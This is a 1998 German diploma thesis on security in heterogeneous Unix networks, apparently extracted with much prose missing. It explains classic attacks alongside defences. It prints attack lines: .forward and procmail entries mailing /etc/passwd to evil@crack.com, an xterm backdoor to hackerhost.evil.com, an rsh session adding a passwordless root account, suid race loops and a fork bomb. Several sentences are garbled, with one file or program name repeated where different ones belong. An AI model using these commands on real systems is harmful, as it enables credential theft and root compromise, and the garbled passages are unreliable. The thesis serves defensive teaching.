Diplomarbeit

Untersuchung der Sicherheitsaspekte heterogener Unix-Netzwerke und Implementierung eines programmgesteuerten zentralen Konfigurations- und Sicherheitsmanagements

Stephan Löscher

Dec 16, 1998

Contents

Chapter 1
Einleitung

Chapter 2
Sicherheit

2.1  Grundlagen des Systems

2.2  Grundlagen der Kryptologie

2.2.1  Symmetrische- vs. asymmetrische Verschlüsselung

2.2.2  Einweg-Verschlüsselung

2.2.3  Zufallszahlen

2.3  Risiken durch Benutzer-Zugang

2.3.1  Paßwörter

2.3.2  Login

Aug 26 16:16:16 sl in.telnetd[1817]: connect from
     loescher@172.16.0.135

Aug 26 16:16:22 sl login[1819]: invalid password for `loescher' on
     `ttypa' from `sl.sl.de'

2.4  Angriffe

2.4.1  Systembedingte Schwachstellen

Versionsnummern  
Oft ist es für den Angriff auch noch hilfreich, wenn die Versionsnummer des Dämons bekannt ist. Das ist meistens einfach zu ermitteln, denn die Programme melden sich in der Regel mit ihrer Versionsnummer, wie auch sendmail:

Trying 172.16.0.135...  Connected to
sl.sl.de.  Escape character is '^]'.  220 sl.sl.de ESMTP Sendmail
8.8.4/8.8.4; Thu, 10 Sep 1998 17:26:21 +0200

Dateisystem  
Das Unix-Dateisystem ist in der älteren Form auch ein Problem, da Dateien nicht wirklich gelöscht werden , sondern nur die Verzeichniseinträge entfernt werden. Somit liegen die eigentlichen Daten noch auf der Festplatte und ein nachfolgender Benutzer kann bei einer Speicherplatzanforderung diese Daten wieder lesen. Dagegen hilft nur ein echtes ``Lösch''-Programm, das die zu löschende Datei vor dem Löschen im Unix-Sinne erst mit Nullen oder ``XXX'' überschreibt. Die moderneren Unix-Varianten ermöglichen keinen File-Seek, also ein Anlegen einer leeren Datei, sondern sie erzeugen ein ``sparse-file'', das nur virtuell existiert und bei einem Lesevorgang nur Nullen liefert. Man kann das eigene Unix leicht mit folgendem kleinem Programm testen:

#!/usr/bin/perl -w
open(FH, '>/tmp/seektest');
seek FH,10000000,0;
print FH 'X';
close FH;

dd if=/dev/sda1 of=/tmp/image bs=512 count=1000

Vorhersagbare Schlüssel  
Nach [Wie] liegen die meisten systembedingten Schwachstellen in der Verwendung von vorhersagbaren Pseudo-Zufallszahlen als Paßwörter zur Authentifizierung in den Protokollen. Dazu gehören unter anderem auch die Kerberos Tickets, die X11 ``magic cookies'' und die NFS Filehandles. Die Ursache der Vorhersagbarkeit der Schlüssel liegt darin begründet, daß die Ergebnisse eines Zufallsgeneratorprogramms vorhersagbar sind, wenn die Eingaben vorhersagbar sind. Wenn ein Zufallsgenerator beispielsweise die Uhrzeit als Grundlage seiner Berechnung nimmt, dann kann das Ergebnis zu einem bestimmten Zeitpunkt leicht geraten werden. Wird hingegen ein Hardware-Rauschen als Zufallsgrundlage verwendet, wird es unmöglich die Zufallszahlen vorherzusagen (Zu Zufallszahlen siehe Abschnitt 2.2.3).

Kerberos  
In Kerberos Version 4 sind die temporären Schlüssel, die die Authentifizierungsinformationen schützen sollen vorhersagbar [Wie]. Diese Schlüssel werden aus bekannten, konstanten und vorhersagbaren Informationen berechnet. In die Berechnung geht nämlich die Uhrzeit, die Prozeß-ID, die Maschinen-Identität und eine fortlaufende Nummer ein. Mit diesem Wissen kann ein Angreifer die Persönlichkeit eines Benutzers annehmen ohne sein Paßwort zu wissen. Das ist ein deutliches Beispiel dafür, daß eine vorhersagbare Eingabe in einen bekannten Algorithmus zu einem vorhersagbarem Ergebnis führt. In Kerberos Version 5 wurde der Schlüsselgenerierungsalgorithmus entsprechend modifiziert.

X11  
Das X11-Protokoll stellt verschiedene Stufen der Authentifizierung zur Verfügung. Ohne Authentifizierung erhält jeder fremde Benutzer Zugriff auf alle X11-Ressourcen des Servers, nämlich Tastatur, Bildschirm und Maus.
Die etwas sicherere Einstellung ist die Überprüfung der Netzwerkadresse des Clients. Dann kann aber jeder Benutzer, der sich auf einer ``erlaubten'' Maschine angemeldet hat, auch auf den X11-Server zugreifen. Diese Methode ist sicherer als gar keine Authentifizierung und wird trotz der verbleibenden Unsicherheit gerne verwendet:

xhost +sl.sl.de

xhost +

xhost -

NFS  
Wenn ein Client auf ein NFS ⁶ -Objekt zugreifen will, dann sendet er eine Anfrage an den NFS-Server. Dieser antwortet nach der Authentifizierung mit einem Filehandle. Über dieses Filehandle kann der Client ohne weitere Authentifizierung auf das Filesystem-Objekt zugreifen. Um zu verhindern, daß bösartige Clients selbst NFS-Filehandles generieren und diese dann zum Zugriff verwenden, wurden in früheren Implementationen von SUN mit dem Programm fsirand die Filehandles mit einem Pseudo-Zufallszahl bei der Installation initialisiert. Die Zufallszahl wurde dabei aber aus der Uhrzeit und der Prozeß-ID berechnet, was vorhersagbar war und wiederum zu vorhersagbaren Filehandles führte. Es existieren noch heute NFS-Implementationen, die die Filehandles bei einer Anforderung aus der Uhrzeit generieren.

Sub-Shells  
Die überraschendsten Sicherheitslöcher öffnen sich beim Start von Sub-Shells von Programmen mit Root-Rechten. Davon sind alle Dämonen, CGI-Programme und Logfile-Auswertungsprogramme betroffen, da sie Daten aus unsicheren Quellen weiterverarbeiten.
So war es in früheren Versionen des TCP-Wrappers (siehe Abschnitt 2.5.4.1) noch möglich, automatisch ein Shell-Kommando zu starten, wenn ein Kontakt-Versuch von einem unerwünschten Rechner probiert wurde [Wie]:

ALL: .bad.domain: finger -l @%h | /usr/ucb/mail root

|exec cat /etc/passwd | mail evil@crack.com

|"/bin/cat /etc/passwd | mail evil@crack.com"

SHELL=/bin/sh
:0 c
| cat /etc/passwd | mail evil@crack.com

#!/bin/bash
grep -il $@

User-ID-Wechsel  
Es gibt Programme, die mit Root-Rechten laufen und während der Ausführung auf eine Benutzer-ID wechseln. Dabei kann es passieren, daß Datenbereiche, die eigentlich nur für Root bestimmt waren, versehentlich nicht gelöscht werden und der Benutzer dann diese Speicherbereiche auslesen kann.
Das Paradebeispiel dafür ist der Login-Prozeß für das Shadow-Paßwortsystem [Wie]. Eigentlich verhindert gerade das Shadow-Paßwortsystem, daß normale Benutzer die verschlüsselten Paßwörter der anderen Benutzer lesen können, da die Datei /etc/shadow im Gegensatz zu /etc/shadow nur von Root lesbar ist. Wenn man sich den Ablauf der Login-Prozedur vor Augen führt, dann kann man die Schwachstelle erkennen. Zuerst wird der Benutzername und das Paßwort vom Benutzer abgefragt und das Paßwort in /etc/shadow gesucht und mit dem eingegebenen verglichen. Dann werden die Root-Privilegien auf die Benutzer-Privilegien heruntergestuft und eine Login-Shell ausgeführt. Da der Login-Prozeß die Datei /etc/shadow nicht zeilenweise, sondern blockweise einliest, befinden sich zum Zeitpunkt des Einlesens mehr Shadow-Einträge im Speicher als eigentlich nötig wären. Wenn es der Benutzer schafft, zwischen Umschalten der Privilegien und dem Ausführen der Login-Shell dem Login-Prozeß das Kill-Signal zu senden, dann erhält er einen Core-Dump, der noch Teile der /etc/shadow enthält. Die somit erhaltenen Paßworte kann er dann in Ruhe entschlüsseln (siehe Abschnitt 2.3.1).
Eine andere Möglichkeit, unter Unix die Benutzerrechte zu wechseln, stellen Suid-Programme dar. Bei diesen ausführbaren Dateien ist zusätzlich noch das s-Bit gesetzt, was bewirkt, daß das Programm nicht mit den Rechten des Ausführenden läuft, sondern mit den Rechten des Besitzers der Datei. Ein paar Unix-Kernel erlauben außerdem, daß auch Skripte das s-Bit gesetzt haben. Das Problem besteht in einer Wettlaufsituation im Kernel. Zwischen dem Zeitpunkt, zu dem der Kernel das Skript öffnet, um zu sehen, mit welchem Interpreter er das Skript zu starten hat und dem Zeitpunkt, zu dem der Interpreter die Datei nochmals öffnet, um es zu interpretieren, könnte sich das Skript bereits geändert haben. Das gilt insbesondere wenn symbolische Links dabei verwendet werden. Ein typischer Aufruf, der das ausnutzt ist:

nice -19 suidscript & ln -s evilprog suidscript

while (! hacked_root)
{
  ln -s suidscript newname
  newname &
  rm newname
  cp myscript newname
}

ln -s /some/setuid/script -i
-i

#include <stdio.h>
#include <unistd.h>
int main ()
{
  setuid(0);
  execl ("/bin/bash","bash","/usr/local/bin/script-test.sh",NULL);
  fprintf (stderr, "exec failed\n");
  return 1;
}

#!/bin/sh
/bin/date

IFS="/"; export IFS; suidscript

Berkeley r*-Dienste  
Die Berkeley r*-Dienste ermöglichen entfernte Shells mit rsh und Kopieren von Dateien auf andere Rechner mit rcp . Zur Authentifizierung werden die Dateien /etc/hosts.equiv und ~ /.rhosts verwendet. Wenn der Rechner B in /etc/hosts.equiv auf Rechner A eingetragen ist, dann können alle Benutzer, die auf dem Rechner B dasselbe Login haben, wie auf dem Rechner A sich per rsh ohne Paßwortabfrage einloggen. Wenn der Rechner B nicht in /etc/hosts.equiv eingetragen ist, dann kann auch der Benutzer den Rechner B in ~ /.rhosts eintragen und erhält somit auch Zugang ohne Paßwortabfrage. Die r*-Dienste haben also immerhin den Vorteil, daß kein Paßwort im Klartext über das Netzwerk gesendet wird. Der große Nachteil ist jedoch die Unsicherheit, denn es könnte ein Angreifer eine gefälschte IP-Adresse oder Rechnernamen vorgeben und auf diesem Rechner Benutzer anlegen, die einen identischen Login haben zu den Benutzern auf dem anzugreifenden Rechner. Schon hätte er Zugriff auf alle Benutzer-Accounts. Zusammenfassend kann man nur empfehlen die r*-Dienste durch ihre Secure-Shell-Äquivalente zu ersetzen (siehe Abschnitt 2.5.4.2).

TCP/IP  
TCP/IP [Hun98] hat selbst in einer absolut fehlerfreien Implementierung einige Sicherheitslücken.

In [Bel] wird zum Beispiel die TCP-Sequenznumern-Vorhersage beschrieben. Man kann damit eine TCP-Paketfolge erzeugen, ohne jemals Antworten vom Server zu bekommen. Beim normalen 3-Wege-Handshake wählt der Client ein erste Sequenznummer ISN_C und schickt diese an den Server. Der Server bestätigt diese mit seiner eigenen Sequenznummer ISN_S, welche der Client wiederum bestätigt.

Client ---> Syn(ISN_C)            ---> Server
Client <--- Syn(ISN_S),Ack(ISN_C) <--- Server
Client ---> Ack(ISN_S)            ---> Server

Attacker ---> Syn(ISN_A),SRC=Trusted  ---> Server
Trusted  <--- Syn(ISN_S),Ack(ISN_A)   <--- Server
Attacker ---> Ack(ISN_S),SRC=Trusted  ---> Server

Zuviele Systeme vertrauen auf die Internetadresse zur Authentifizierung. Die Internetadressen sind aber nicht dafür konzipiert, sondern nur zur Identifizierung. Beim sogenannten IP-Spoofing ¹¹, das zum ersten Mal in [CER95b] und in [dea96] ausführlich erwähnt wird, tauscht der Angreifer einfach in den IP-Paketen seine IP-Adresse gegen eine andere aus. Zusammen mit der TCP-Sequenznummern-Vorhersage wird dann ein Angriff wie eben beschrieben möglich.
Eine Abhilfe ist es, die Router so zu konfigurieren, daß keine Pakete mit gefälschten IP-Adressen weitergeleitet werden. Üblicherweise verwendet der Angreifer eine IP-Adresse aus dem Netz des Opfers. Wenn der Router ein solches Paket von außerhalb erhält, dann sollte sofort Alarm ausgelöst werden und das Paket nicht ins Firmen-Netz geleitet werden. Der umgekehrte Weg ist genauso zu sperren: Wenn ein Paket vom Firmen-Netz nach draußen geleitet werden soll, dann darf dieses Paket nicht eine Adresse besitzen, die nicht im Firmennetz vorkommt.
Eine zweite Vorbeugungsmaßnahme ist es, keine Verbindungen aufgrund der IP-Adresse des Absenders anzunehmen, also beispielsweise keine Berkeley-r*-Dienste, sondern stattdessen eine echte Authentifizierung zu benutzen, wie die die Secure Shell verwendet (siehe Abschnitt 2.5.4.2).

2.4.2  Arten von Attacken

Prinzipiell kann man zwischen verschiedenen Arten von Angriffstypen unterscheiden. Es gibt Angriffe, die nicht dazu dienen sollen ins System einzudringen, sondern es nur lahmzulegen. Man nennt diese Angriffe ``Denial of Service''-Angriffe. Sie dienen nur dazu, das gesamtes System oder Teile davon, wie zum Beispiel bestimmte Dienste, unbrauchbar zu machen. Als Nebeneffekt kann ein Anfgreifer mit einer ``Denial of Service''-Attacke auch unter Umständen das System in einen so instablen Zustand bringen, daß ein Eindringen ermöglicht wird.
Die wichtigsten Attacken dienen dem Erlangen von Root-Rechten. Wenn ein Angreifer es erst einmal soweit geschafft hat, dann steht ihm das System offen.
Um den Root-Account zu knacken wird beispielsweise auch der Netzwerkverkehr abgehört, in der Hoffnung ein Root-Paßwort oder auch ein Benutzer-Paßwort im Klartext abzufangen. Zur Paßwort-Problematik siehe Abschnitt 2.3.1.
Ins das System kann man aber auch über einen Virus oder einen Trojan eindringen, indem man zuerst einen Trojan einschleust und dieser dann praktisch ``von innen'' eine Hintertür öffnet.

2.4.2.1  Denial of Service

Plattenplatz aufbrauchen  
Die wohl knappste Ressource, die auch nach einem Neustart nicht wieder verfügbar ist, ist der Plattenplatz. Wenn der ganze Plattenplatz aufgebraucht ist, dann Versagen diverse Diente, die temporäre Dateien anlegen oder Logging-Informationen speichern, also so ziemlich alle Programme.
Man muß dabei unterscheiden, ob der Angreifer bereits im System ist oder nicht. Im System kann ein einfacher Benutzer beliebig Dateien in seinen Verzeichnisssen anlegen und damit den Plattenplatz aufbrauchen. Das kann leicht durch ein Quota-System, das den Plattenplatz beschränkt, verhindert werden.
Kritischer sind da schon die Systemdateien, die keinem bestimmten Benutzer gehören¹², sondern vom System verwaltet werden und nicht direkt von einem Benutzer angelegt werden könen, aber sehr wohl indirekt. Zu solchen Dateien gehören LOG-Files, die man mit bestimmten Aktionen auch von außerhalb des Rechners leicht anwachsen lassen kann. Der Phantasie sind hier keine Grenzen gesetzt. Auf meinem privaten System schreibt der Newsserver INN alles im syslog mit. So entsteht bei dieser Kontaktierung:
echo quit | telnet localhost nntp
dieser syslog-Eintrag:

nnrpd[4257]: localhost connect
nnrpd[4257]: localhost exit articles 0 groups 0
nnrpd[4257]: localhost times user 0.070 system 0.020 elapsed 0.087

CPU verbrauchen  
Wenn man bereits Zugang zu dem System hat und Programme ausführen darf, dann kann man die CPU so auslasten, daß das System fast nicht mehr reagiert. Sollten die einzelnen Prozesse auch noch Mengen an Speicher verbrauchen, dann wird das System gänzlich unbrauchbar, weil es sehr viele Seiten ein- und auslagern¹³ muß. Legt man beispielsweise eine Datei XXX mit diesem Inhalt

sh XXX &
sh XXX &

Mit einer großen Menge an EMails kann das Mail-Systems eines Rechners und durch die Hohe Last meist auch der ganze Rechner unbrauchbar gemacht werden. Durch EMail-Bombing [CER96b] werden sowohl die Netwerk-Verbindungen, die System-Ressourcen, als auch der Plattenplatz verbraucht. Das einzige Gegenmittel ist die sofortige Ablehnung aller Pakete von dieser Absender-Adresse und der Versuch, hauszufinden, wer diese Mails veschickt hat.

Eine andere Möglichkeit Rechenzeit zu verbrauchen, ist im Kernel selbst. Dazu überlastet man beispielsweise den Netzwerk-Stack durch einen ``Broadcast''-Angriff . Der Angriff selbst bedient sich des im Internet üblichen Broadcast-Mechanismus. Schickt man ein entsprechendes Paket auf die Broadcast-Adresse eines IP-Netzes oder Subnetzes, generieren alle in jeweiligen Netz angeschlossenen Rechner ein Antwortpaket.
So ein Angriff kann auf der Basis des ICMP-Protokolls stattfinden. ICMP wird auch zum ``Anpingen'' eines Rechners verwendet, um im Fehlerfall zu prüfen, ob dieser grundsätzlich noch in der Lage ist, zu antworten.
Wenn die Angriffspakete mit einer Geschwindigkeit von ca. 100 Paketen pro Sekunde ankommen, dann stellt die dadurch erzeugte Last noch kein Problem dar. Zum Problem werden erst die Antwortpakete: 200 angeschlossene Rechner produzieren 20000 Pakete pro Sekunde.
Der Angreifer ist schwierig zu identifizieren, weil er in der Regel die Absendeadresse der Pakete gefälscht hat (IP-Spoofing: siehe Abschnitt CER95b).
Das Problem des ``Broadcast''-Angriffs ist schon seit einem Jahr bekannt und es gibt genug Lösungen dafür, wie etwa diese:

1. Alles auf Broadcast-Adressen blockieren, auch bei Subnettierung:

   ipfwadm -I -a deny -o -P all -S 0/0 -D $Broadcast
   ipfwadm -F -a deny    -P all -S 0/0 -D $Broadcast
   ipfwadn -O -a deny    -P all -S 0/0 -D $Broadcast
   

2. Verhindern, daß gefälschte Pakete das eigene System verlassen, beziehungsweise betreten:

   ipfwadm -O -a accept  -P all -S $eigenesNetz -D 0/0 -W $dev_draußen
   ipfwadm -O -a deny -o -P all -S 0/0          -D 0/0 -W $dev_draußen
   ipfwadm -I -a deny -o -P all -S $eigenesNetz -S 0/0 -W $dev_draußen
   

Prozessor-Fehler nutzen  
Der wohl bekannteste Prozessor-Fehler , der für ``Denial of Service''-Angriffe genutzt wurde, ist der der ``FOOF''-Fehler in Pentium-Prozessoren. Selbst wenn man als normaler Benutzer den Hexcode ``FOOF'' zur Ausführung bringt, konnte man das System sofort zum Stillstand bringen. Abhilfe schaffen neue Kernel, die fehlerhafte Prozessoren erkennen und einen Workaround aktivieren.

Kernelstrukturen überlaufen lassen  
Indem ein Angreifer interne Kernelstrukturen zum überlaufen bringt, kann erreicht werden, daß das System stehenbleibt oder neu startet. Wenn der Angreifer seine Attacke dauernd wiederholt, dann führt das zu einem anhaltendem ``Denial of Service''. Von außerhalb sind die Kernelstrukturen natürlich nicht zugänglich, aber zum Beispiel Netzwerkpuffer kann man geschickt zum Überlauf bringen, wie etwa mit dem im Herbst 1996 polulär gewordenen ``SYN-Flooding ''. Eine TCP-Verbindung wird nach RFC 793¹⁴ (siehe auch [Hei93] und [Hun98]) mit einem sogenannten ``Three-Way Handshake'' aufgebaut, was dann ungefähr so aussieht:

    TCP A                                                    TCP B
1. CLOSED                                                     LISTEN
2. SYN-SENT    -> <SEQ=3D100><CTL=3DSYN>                 -> SYN-RECEIVED
3. ESTABLISHED <- <SEQ=3D300><ACK=3D101><CTL=3DSYN,ACK>  <- SYN-RECEIVED
4. ESTABLISHED -> <SEQ=3D101><ACK=3D301><CTL=3DACK>      -> ESTABLISHED
5. ESTABLISHED -> <SEQ=3D101><ACK=3D301><CTL=3DACK><DATA>-> ESTABLISHED

2.4.2.2  Root-Rechte

2.4.2.3  Abhören von Netzwerk-Verkehr

tcpdump -i eth0

2.4.2.4  Viren, Würmer und Trojanische Pferde

2.4.3  Hintertüren

Eine der ältesten Methoden ist es einen Paßwort-Cracker auf dem System zu installieren, der ständig versucht Paßwörter herauszufinden und diese dann per Mail an den Angreifer schickt. Außerdem kann der Angreifer schwache Paßwörter auf Accounts, die nie oder selten benutzt werden, in eigene Paßwörter ändern.
Außerdem kann ein falscher Eintrag in /etc/passwd bei einigen Implementierungen von login dazu führen, daß dieser Benutzer Root-Rechte erhält:

test:x:x508:100:Testuser:/home/test:/bin/bash

Die Berkeley-r*-Dienste können für ein paßwortloses Einloggen verwendet werden, wenn der Angreifer seinen Rechner in ~ /.rhosts auf dem Zielrechner einträgt. Genauso sollte man ~ /.shosts überprüfen, da der Angreifer sich einen gültigen Host-Key von einem vertrauenswürdigen Rechner besorgt haben könnte und sich damit als dieser Rechner ausgeben könnte.

Auf die von machen Systemen angebotene Prüfsummen mittels sum sollte man sich nicht unbedingt verlassen. Wenn ein Angreifer ein Programm durch einen Trojan (siehe Abschnitt 2.4.2.4) ersetzt, so wird er darauf achten, daß der Trojan dieselbe Prüfsumme hat, wie das Originalprogramm. Selbst System-Bibliotheken, wie die C-Library könnte durch einen Trojan ausgetauscht werden. Prüfsummen auf MD5-Basis sind hier vorzuziehen. Jedoch kann das Programm md5sum selbst ein Trojan sein. Um Veränderungen im Filesystem zu vertuschen, werden auch die Befehle ls, ls und fsck ausgewechselt. Eine zuverlässige Abwehr gegen den Austausch von Programmen wird im Kapitel 4 vorgestellt. Man sollte desweiteren bedenken, daß solche ausgetauschten Programme bei einer Datensicherung mitgespeichert werden und selbst nach einer Zerstörung durch den Angreifer wieder eingespielt werden.

Das Programm login kann durch ein Programm mit Hintertür ausgetauscht worden sein. Wenn ein ganz spezielles Paßwort eingegeben wird, dann erhält der Angreifer Zugang zum System, ansonsten verhält sich das neue login-Programm wie gewohnt. Genauso könnte der Telnet-Dämon ausgetauscht worden sein und dem Angreifer sofort Zugang gewähren. Prinzipiell kommen dafür alle Dämonen, die von außen zugänglich sind, in Frage.

Ohne Programme auszuwechseln, können mittels cron und cron praktisch zu bestimmten Zeitpunkten Hintertüren freigeschaltet werden.

Mit der Datei ~ /.forward, die normalerweise zum Weiterleiten von Mail benutzt wird, kann sich ein Angreifer eine komfortable Hintertür einbauen:

|"/usr/bin/xterm -display hackerhost.evil.com:0.0"

Mit netcat¹⁸ kann ein Angreifer eine Fernsteuermöglichkeit oder einen Ersatz-Telnet auf dem Zielrechner installieren. Netcat kann dazu auf einem Port lauschen und dann bei einem Connect ein Programm mit diesem Port verbinden.

Da in allen Fällen vorhandene Dateien verändert oder ausgetauscht werden, braucht der Administrator ein sicheres Werkzeug, das die Datei-Integrität sicherstellt. syscheck aus Kapitel 4 leistet dieses.
Ein Trojan muß nicht unbedingt über einen dauerhaften Eintrag in einem Startup-Skript beim Systemstart gestartet werden. Der Trojan könnte beim System-Shutdown einen Eintrag in das Startup-Skript schreiben, das beim Neustart den Trojan wieder aktiviert. Dieser neue Trojan müßte dann den Eintrag aus dem Startup-Skript wieder entfernen, um im Betrieb nicht aufzufallen. Solche Trojans sind mit ps schwer zu entdecken, da sie harmlose Namen verwenden können, wie zum Beispiel bash oder syslogd. Dabei kann das Programm selbst einen anderen Namen tragen. Es modifiziert dann einfach ARGV[0] und wechselt somit zur Laufzeit dann seinen Namen.

2.4.4  Einbruch entdecken

find / -xdev -type f \( -perm -4000 -o -perm -2000 \)

2.5  Vorbeugung

2.5.1  Rechner absichern

2.5.2  Sicheres Betriebssystem

• Grundsätzlich ist ein System, dessen Quell-Code frei zugänglich ist, besser, weil mehr Leute Fehler finden und beheben können.
• Viele Betriebssysteme liegen nicht im Quell-Code vor und die internen Strukturen sind nicht oder schlecht dokumentiert, was gerne mit ``security by obfuscation'', also ``Sicherheit durch Verschleierung'' begründet wird. Aber potentielle Angreifer werden sich im Allgemeinen nicht an das Verbot des Reverse-Engineering halten. Die Sicherheit eines Betriebsystems darf nicht auf die Geheimhaltung der internen Strukturen und Algorithmen basieren.
• In der Praxis ist es wichtig, daß die Zeit zwischen Entdecken eines Sicherheitslochs und der Behebung des Fehlers möglichst kurz ist. Das spricht sehr für die freien Unix-Varianten, da hier die Reaktionszeit wesentlich höher ist, als bei großen Konzernen.

Eine allgemeine Entscheidungshilfe zur Betriebssystemauswahl wird in [CER97a] geboten.

2.5.3  Wie geht ein Angreifer vor?

> finger @sl.sl.de
[sl.sl.de]

Welcome to Linux version 2.0.33 at sl.sl.de !

  3:40pm  up  4:05,  9 users,  load average: 0.03, 0.07, 0.08

Login    Name                 Tty  Idle  Login Time   Office     Office Phone
loescher Stephan Loescher      p3        Oct  1 11:37 (:0.0)
loescher Stephan Loescher      p7 21:51  Oct  1 11:38 (:0.0)
loescher Stephan Loescher      pb        Oct  1 15:39 (sl.sl.de)
root     root                  2         Oct  1 15:40

Als nächster Schritt kann mit showmount nach freizügig exportierten NFS-Dateisystemen suchen. Wenn dabei ein Dateisystem auftaucht, das von jedem gemountet werden kann und Heimatverzeichnisse enthält, so kann man das Dateisystem mounten und einen Benutzer mit demselben Namen wie auf dem Rechner des Opfers anlegen. Als dieser Benutzer kann man dann eine Datei ~ /.rhosts anlegen und schon hat man einen paßwortlosen Zugang zum System. Wenn keine Heimatverzeichnisse, sondern nur Verzeichnisse mit ausführbaren Programmen exportiert werden, dann kann man immer noch ein Trojanisches Pferd ablegen (siehe Abschnitt 2.4.2.4).

Sollte es möglich sein, als spezieller Benutzer, wie zum Beispiel ``bin'' sich in das System einzuloggen, so ist das der nächste Versuch:

evil> rsh -l bin victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim>  ls -ldg /etc
drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
victim>  cd /etc
victim>  mv passwd pw.old
victim>  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim> ^D

Ein anonymer FTP-Zugang, der nicht richtig konfiguriert wurde, kann vielseitig ausgenutzt werden. Beispielsweise könnte ein Angreifer sich eine Datei .forward mit diesem Inhalt anglegen:

|"/bin/cat /etc/passwd | mail evil@crack.com"

Trivial FTP (tftp) ist die nächste Schwachstelle, die es zu überprüfen gilt. Wenn folgendes funktioniert, dann hat man schon wieder sein Ziel erreicht:

evil> tftp victim
tftp> get /etc/passwd 
Received 1548 bytes in 0.1 seconds
tftp> quit

Mit dem Kommando rpcinfo kann herausgefunden werden, welche Remote-Procedure-Calls ein System zuläßt. Sollte bei herauskommen, daß ein NIS²²-Server läuft, so ist das der nächste Angriffspunkt. Wenn man den NIS-Domainnamen eines Servers erst einmal herausgefunden hat, so kann man von diesem alle NIS-Maps²³ erhalten. Die NIS-Domainnamen sind normalerweise recht leicht zu erraten. Man kann es mit dem Namen des Servers oder der Organisation probieren.
Sollte beim rpcinfo-Kommando herausgekommen sein, daß rpcinfo läuft, so ist das praktisch schon eine Root-Shell. rexd nimmt über das Netzwerk Anfragen der Art ``Führe das Kommando XX als Benutzer YY aus.'' entgegen ohne dabei eine Paßwortüberprüfung oder andere Authentifizierung durchzuführen.
Wenn der bootparam²⁴-Dienst aktiviert ist, so kann man mit dem Programm bootparam aus dem SATAN²⁵-Paket den NIS-Domainnamen herausfinden, wenn man noch den Namen eines Clients weiß:

> bootparam victim.com client.victim.com

Zusätzlich zu den RPC-Diensten, die dem Portmapper bekannt sind, gibt es noch eine Menge anderer Dienste. Diese findet man am besten durch Port-Scanning, also schlichtes Probieren heraus. Das kann man mit einem der zahlreichen Portscanner erledigen oder per Telnet:

> telnet sl 6000
Trying 172.16.0.135...
telnet: Unable to connect to remote host: Connection refused

> telnet sl 6000
Trying 172.16.0.135...
Connected to sl.sl.de.
Escape character is '^]'.
...

Sendmail²⁶ ist das nächste Programm, das man auf Sicherheitslücken abklopfen kann. Aber selbst, wenn die neueste Version eingesetzt wird, so kann Sendmail ``wertvolle'' Informationen liefern. Mit dem expn-Kommando kann festgestellt werden zu welcher Adresse eine Mailadresse expandiert wird:

> telnet sl smtp
Trying 172.16.0.135...
Connected to sl.sl.de.
Escape character is '^]'.
220 sl.sl.de ESMTP Sendmail 8.8.4/8.8.4; Fri, 2 Oct 1998 10:39:39 +0200
expn root
250 Stephan Loescher <loescher@sl.sl.de>
expn test
250 Testuser <|/usr/bin/procmail@sl.sl.de>
quit
221 sl.sl.de closing connection
Connection closed by foreign host.

2.5.4  Konfiguration absichern

2.5.4.1  TCP-Wrapper

finger stream tcp nowait nobody                /usr/sbin/in.fingerd in.fingerd

finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd in.fingerd

ALL: ALL

ALL: .mydomain.com EXCEPT unsecure.mydomain.edu
telnet: thishost.thatdomain.com

2.5.4.2  Secure Shell

ssh-keygen -f /etc/ssh_host_key

ssh -f -L 1234:RechnerB:110 RechnerB sleep 10000 </dev/null >/dev/null

2.5.4.3  Kerberos

2.5.4.4  TFTP

/etc/hosts.allow:
    in.tftpd: LOCAL, .my.domain

/etc/hosts.deny:
    in.tftpd: ALL: (/sbin/safe_finger -l @%h | /usr/bin/mail -s %d-%h root) &

get /etc/motd

2.5.4.5  Weitere Maßnahmen

Zu den Diensten, die wirklich deaktiviert werden sollten, wenn sie nicht unbedingt benötigt werden, gehört finger. Damit kann nämlich ein Angreifer viele wichtige Daten sammeln (siehe Abschnitt 2.5.3). Die meisten Probleme im Zusammenhang mit finger sind nicht echte Sicherheitslücken, sondern der Mißbrauch. Dazu zählen auch die finger-Verkettungen:

finger @victim.com@innocent.com@ignorant.com

Hochsensitive Daten sollten nicht auf einem Netzwerkrechner abgelegt werden, wenn dies nicht absolut notwendig ist. Wenn dies der Fall ist, dann würde ich die Daten auf Benutzer-Basis verschlüsseln, sodaß nur der Benutzer die Daten lesen kann, dem sie gehören. Ein verschlüsseltes Dateisystem bringt online gar keine Vorteile, jedoch sehrwohl bei Laptops, da hier im Falle des Diebstahls die Daten noch gesichert sind.

Über Paßwörter wurde in 2.3.1 bereits diskutiert. Es sollten die Benutzer instruiert werden, daß sie niemandem das Paßwort weitergeben und auch das Paßwort nicht jedem beliebigem Programm anvertrauen. Sollte beispielsweise ein Benutzer A ein Programm eines Benutzers B verwenden, so sollte er die Frage nach seinem Paßwort nicht beantworten, denn der Benutzer B könnte es mißbrauchen.
Für einen Zugang über Wählleitungen in das Firmennetz per PPP³⁴ sollte pro Benutzer zusätzlich zum normalen Paßwort noch ein PPP-Paßwort vergeben werden. Damit erhöht sich die Schwelle, die ein Angreifer überwinden muß, da er zwei Paßwörter zu knacken hat.
Gerade bei Zugängen über Telefonleitungen ist es wichtig, daß der Benutzer vom System automatisch ausgeloggt wird, wenn die Verbindung unterbrochen oder beendet wird. Wenn sich der Benutzer abmeldet, so muß das Modem oder der Terminaladapter die Verbindung trennen [Cur90].
Schlechte Paßwörter sollte der Administrator mit dem in 2.3.1 erwähnten Programm crack aufspüren und dies als Feststellung an die Benutzer per Mail schicken. Dabei darf die Androhung der Account-Sperrung nicht fehlen. Man könnte auch sofort den Account sperren.

Zur regelmäßigen Wartung gehört eine Überprüfung bestimmter Dateien, Verzeichnisse und deren Rechte. Es dürfen alle Dateien und Verzeichnisse nur für deren Besitzer schreibbar sein. Bestimmte Dateien, wie etwa ~ /.forward, ~ /.forward und ~ /.forward dürfen nur für deren Besitzer lesbar sein, wobei ich es für besser halte, generell in Dateien keine Paßworte zu speichern.
Dann sollte bei allen Benutzern und insbesondere bei Root überprüft werden, daß der Such-Pfad $PATH nicht das aktuelle Verzeichnis ``./'' enthält, da dies allen Trojanischen Pferden Tür und Tor öffnet. Auf gar keinen Fall darf dies am Anfang der Pfad-Variablen stehen! Man denke sich nur den Fall, daß Root im Verzeichnis /home/user1 ein simples /home/user1-Kommando eingibt. Wenn der Benutzer in diesem Verzeichnis zum Beispiel folgendes bösartige Programm namens ls abgelegt hat, dann erhält der vollen Root-Zugang zum System:
